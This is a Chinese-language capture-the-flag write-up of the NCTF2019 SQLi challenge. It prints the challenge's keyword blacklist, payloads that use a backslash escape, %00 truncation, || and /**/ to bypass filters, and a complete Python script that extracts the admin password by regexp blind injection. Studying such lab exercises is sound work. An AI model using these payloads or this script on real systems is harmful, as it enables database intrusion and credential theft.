[NCTF2019]SQLi

[NCTF2019]SQLi

考点

  • PHP版本小于5.3存在%00截断

  • regexp进行盲注

wp

直接给了提示

用户名输入admin' or 1=1 #会提示hacker

发现只要存在'就会弹出hacker,再看一下给的语句,如果过滤了',那可以用的方式就剩下转义,但是转义之后无法把最后面的单引号取掉

select * from users where username='' and passwd=''

一时没有头绪。试了一下/robots.txt,提示访问/hint.txt

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

If $_POST['passwd'] === admin's password,

Then you will get the flag;

基本上全过滤了,还剩下\,regexp,/**/&^|

在返回包中可以看到PHP版本为5.2,在版本小于5.3是可以进行字符串截断的,再用;就可以进行语句闭合

select * from users where username='\' and passwd=';%00'

前半句查询username肯定是空,接着就要看怎么构造payload了。虽然过滤了or,但是可以用||替代

select * from users where username='\' and passwd='||1;%00'

最后payload应该是这样子

username=\&passwd=||(select/**/passwd/**/regexp/**/"^a");%00

但是过滤了select,最终payload

username=\&passwd=||(passwd/**/regexp/**/"^y");%00

exp

import requests
from urllib.parse import unquote
import string

url = 'http://011634d2-f820-4831-b422-832c2e0bf99f.node4.buuoj.cn:81/' 


cookies = {
    'UM_distinctid': '17e150f6a59ecb-028dcf28d64a708-4c3e2679-384000-17e150f6a5a90d',
}

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://011634d2-f820-4831-b422-832c2e0bf99f.node4.buuoj.cn:81',
    'Connection': 'keep-alive',
    'Referer': 'http://011634d2-f820-4831-b422-832c2e0bf99f.node4.buuoj.cn:81/',
    'Upgrade-Insecure-Requests': '1',
}
table = string.ascii_letters + string.digits + '_{}'
flag = ''
for j in range(50):
    for i in table:
        data = {
            'username': '\\',
            'passwd': f'||(passwd/**/regexp/**/"^{flag+i}");'+unquote('%00')
        }
        response = requests.post(url, headers=headers, cookies=cookies, data=data)
        
        if '404 Not Found' in response.text:
            flag = flag + i
            break
        else:
            continue
    print(flag)

结果是yoU_Will_neVer_knoW7788990,再全转成小写you_will_never_know7788990

flag条件是输入的password和数据库中的相同,在提示中写了

$_POST['passwd'] === admin's password

小结

  1. 反斜杠结合PHP的%00截断bypass对'的过滤

  2. ||绕过or

  3. /**/绕过空格

  4. regex进行盲注

最后更新于